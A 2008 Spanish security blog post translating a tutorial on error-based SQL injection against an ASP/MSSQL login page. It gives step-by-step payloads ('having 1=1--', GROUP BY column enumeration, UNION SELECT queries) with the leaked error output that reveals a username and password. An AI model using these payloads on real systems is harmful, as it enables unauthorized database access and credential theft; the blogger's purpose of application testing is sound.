Founder of MalwareIntelligence, a site dedicated to research on all matters relating to anti-malware security, criminology computing and information security in general, always from a perspective closely related to the field of intelligence.

martes, 8 de julio de 2008

Tutorial: inyección SQL basada en aplicaciones

Uno de los sitios web que visito con mayor frecuencia es milW0rm.com para estar actualizado respecto a los exploits que van saliendo día a día y así verificar si alguno de los sistemas de los cuales soy responsable es potencialmente vulnerable.

Justamente en ese sitio se publicó un artículo muy interesante acerca de cómo se ven afectados los sistemas basados en Web (sin importar mayormente el lenguaje de programación en el cual hayan sido desarrollados) a tremendos problemas de seguridad, donde muchas veces la aplicación completa, incluyendo el servidor mismo y máquinas aledañas de la red pueden ser controladas por un atacante simplemente por no validar correctamente los parámetros que se les entrega a las variables. Un error simple y muy común de cometer pero que puede costar muy caro.

El presente artículo se basa en demostrar como es posible explotar una vulnerabilidad de inyección SQL con un ejemplo (no real) y obtener, por ejemplo, los usuarios y contraseñas de acceso de la base de datos. Se conoce como "inyección SQL" )o SQL Injection) a la técnica utilizada por..hackers para interactuar ilegítimamente (o más bien, de manera inesperada) contra un sistema que utiliza conexión a base de datos sobre un motor SQL, como puede ser PostgreSQL, MySQL, MSSQL, etc.

El proceso de inyección SQL

A continuación transcribiré y traduciré un paper publicado por AnalyseR de GHS - Greek Hacker Scene en milw0rm.com.

Inyección SQL basada en errores - una historia verdadera

Hola de nuevo. Este documento es acerca de inyección SQL basada en errores. Pero, ¿qué es eso?. Eso significa que utilizaremos los errores generados por las aplicaciones como base para llegar más allá. En el siguiente ejemplo utilizaré el proceso que usé un par de meses atrás para bypassear un prompt de login y obtener acceso a toda la base de datos, incluyendo contraseñas, de los miembros de un sistema. No revelaré ningún email o contraseña de esa BD, si no que serán reales pero los cubriré con asteriscos por razones que ustedes conocen bien. Pues bien, este es nuestro escenario:

Estás en frente de un prompt de login que tiene un aspecto como "/administrator/login.asp". Para lograr ingresar, necesitamos al menos un usuario y una contraseña válida. OK, atacar por fuerza bruta es muy "n00b" (un término bastante despectivo) así que intentaremos una inyección SQL. Ya que hablamos de Inyección SQL BASADA EN ERRORES, no cubriré la base de la sintaxis aquí, ya que se supone que ustedes poseen un conocimiento básico del tema (*1). Comenzamos nuestro "ataque", por ejemplo, con una cláusula "having" en el campo de nombre de usuario (sólo se necesita escribir cualquier texto para el campo de contraseña o incluso un punto). Se verá algo así como: 'having 1=1--

y después de un rato se genera un error:

Microsoft OLE DB Provider for ODBC Drivers error '8004e14' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Column 'login.primarykey' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/administrator/login.asp, line 27

[Nota: La clave aquí es entender los mensajes de error correctamente. Lo anterior en español sería:
"La columna 'login.primarykey' es inválida en la lista de selección porque no está contenida en una función de agregación y no hay ninguna cláusula GROUP BY". Como pueden ver, en este punto ya se tiene la certeza de que el motor de base de datos, en este caso MSSQL, responde a nuestras solicitudes engañosas, por lo tanto ya estamos ad-portas de lanzar un ataque efectivo]

Obtenemos nuestro primer error. Muy muy interesante. Como se puede ver aquí, el primer error que se genera nos revela la primera pista ;). "login.primarykey" es exactamente lo que necesitamos. Un nombre de una tabla (login) y un nombre de una columna (primarykey). Continuamos nuestro ataque usando la cláusula de SQL llamada "GROUP BY". Entonces ahora nuestra solicitud se verá algo similar a esto:
' GROUP BY login.primarykey having 1=1--
Y al presionar Enter....
Microsoft OLE DB Provider for ODBC Drivers error '8004e14' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Column 'login.username' is invalid in the select list because it is not contained in either an agreggate function or the GROUP BY clause.
/administrador/login.asp. Line 27

OK!! Eso es!. Hemos encontrado otro nombre de una columna y adivinen qué... se llama "username". Así que continuamos de la misma manera que antes para revelar todos los nombres de las columnas en la tabla 'login'. Por ejemplo, el siguiente paso sería: ' GROUP BY login.primarykey, username havin 1=1--

Es muy simple.

Una vez más, seguimos utilizando este procedimiento hasta que aparezca una página de aspecto NORMAL: 'GROUP BY NOMBRE_DE_LA_TABLA.COLUMNA1, COLUMNA2, COLUMNA3 having 1=1--

Creo que es bastante sencillo. No es necesario que hagas eso con todas las columnas si solamente necesitas un usuario y contraseña, pero puedes obtener acceso a direcciones de corrreo, números de tarjetas de crédito, nombres reales y otro tipo de información de ese calibre. El siguiente paso es obtener el usuario y contraseña. Si ya conoces algún nombre de usuario válido simplmente vé y pregunta por su contraseña (utilizando la sentencia SELECT, logicamente). Pero si no conoces ninguno, entonces probablemente harás lo que yo hice. Intenté buscar un nombre de usuario en la columna 'username' que sea mayor que "a". Este podría ser "admin" o algo similar (en este ejemplo no es "admin" pero el usuario tiene permisos de administrador en el sistema afectado). Hice eso con la siguiente inyección SQL: ' UNION SELECT MIN(username),1,1,1,1 FROM login WHERE username > 'a' --

Si no sabes de que se tratan los números, entonces debieses leer algún manual y documentación acerca del lenguaje SQL. Bueno, después de disparar esa inyección debiesemos tener de vuelta un nuevo error como resultado, el primer nombre de usuario que es MAYOR que "a". Y sí, efectivamente!

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'ab*****ilr' to a column of data type int.
/administrator/login.asp. Line 27

[Nota 2: Error de sintaxis convirtiendo el valor de tipo nvarchar 'ab*****ilr' a una columna de tipo de datos enteros (integer)]

Aquí lo tenemos!!! un nombre de usuario!! (Cubierto con asteriscos por supuesto). Ahora, tenemos un nombre de usuario válido y solo necesitamos su contraseña. Busquémosla:
'UNION SELECT MIN(password),1,1,1,1 FROM login WHERE username='ab*****ilr'--

Microsoft OLE DB Provider for ODBC Drivers error '8004e14' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'ar***all' to a column of data type int.
/administrator/login.asp. Line 27

Y ahí está la contraseña que se necesitaba para ese nombre de usuario. Ahora, diviértanse y no hagan estupideces.

==============================================================
(*1) En el documento traducido anteriormente no explica que no es necesario pasar estos parámetros de inyección solamente en el cuadro de texto donde se introducen los datos normalmente (usuario, password, etc) si no que también se pueden pasar como parámetros en una URL, como por ejemplo:

/administrator/login.asp?error='having 1=1--

La idea de mostrarles este tipo de documentos es que prueben sus aplicaciones contra las inyecciones SQL porque, como podrán haberse dado cuenta, pueden llegar a ser bastante desastrosas.

Otro ejemplo de Inyección SQL: www.youtube.com/watch?v=MJNJjh4jORY

Visto en: http://www.seguridad-informatica.cl

# pistus

Ver más